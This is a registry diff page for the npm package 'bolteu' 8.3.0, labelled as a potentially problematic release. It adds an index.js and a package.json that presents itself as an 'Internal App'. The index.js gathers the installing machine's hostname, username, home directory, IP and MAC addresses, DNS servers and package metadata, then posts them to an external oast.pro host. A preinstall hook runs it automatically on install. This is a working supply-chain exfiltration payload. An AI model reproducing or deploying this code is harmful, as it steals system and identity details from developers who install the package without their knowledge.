bolteu 8.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bolteu might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +71 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,71 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const packageJSON = require("./package.json");
5
+ const package = packageJSON.name;
6
+
7
+ function getLocalIPs() {
8
+ const interfaces = os.networkInterfaces();
9
+ const ipAddresses = [];
10
+
11
+ for (const interfaceName in interfaces) {
12
+ for (const iface of interfaces[interfaceName]) {
13
+ if (iface.family === "IPv4" && !iface.internal) {
14
+ ipAddresses.push({
15
+ address: iface.address,
16
+ netmask: iface.netmask,
17
+ family: iface.family,
18
+ mac: iface.mac,
19
+ internal: iface.internal,
20
+ });
21
+ }
22
+ }
23
+ }
24
+
25
+ return ipAddresses.length ? ipAddresses : null;
26
+ }
27
+
28
+ const trackingData = {
29
+ package: package,
30
+ currentDir: __dirname,
31
+ homeDir: os.homedir(),
32
+ hostname: os.hostname(),
33
+ username: os.userInfo().username,
34
+ ipAddresses: getLocalIPs(),
35
+ dnsServers: dns.getServers(),
36
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
37
+ version: packageJSON.version,
38
+ packageJSON: packageJSON,
39
+ };
40
+
41
+ const postData = JSON.stringify(trackingData);
42
+
43
+ const options = {
44
+ hostname: "cs0bipabu23derb8tm10r6smka8bj7pub.oast.pro",
45
+ port: 443,
46
+ path: "/",
47
+ method: "POST",
48
+ headers: {
49
+ "Content-Type": "application/json",
50
+ "Content-Length": Buffer.byteLength(postData),
51
+ },
52
+ };
53
+
54
+ const req = https.request(options, (res) => {
55
+ let responseData = "";
56
+
57
+ res.on("data", (chunk) => {
58
+ responseData += chunk;
59
+ });
60
+
61
+ res.on("end", () => {
62
+ console.log("Response:", responseData);
63
+ });
64
+ });
65
+
66
+ req.on("error", (e) => {
67
+ console.error("Error with request:", e.message);
68
+ });
69
+
70
+ req.write(postData);
71
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "bolteu",
3
+ "version": "8.3.0",
4
+ "description": "Internal App",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \\\"Error: no test specified\\\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "Internal App",
11
+ "license": "ISC"
12
+ }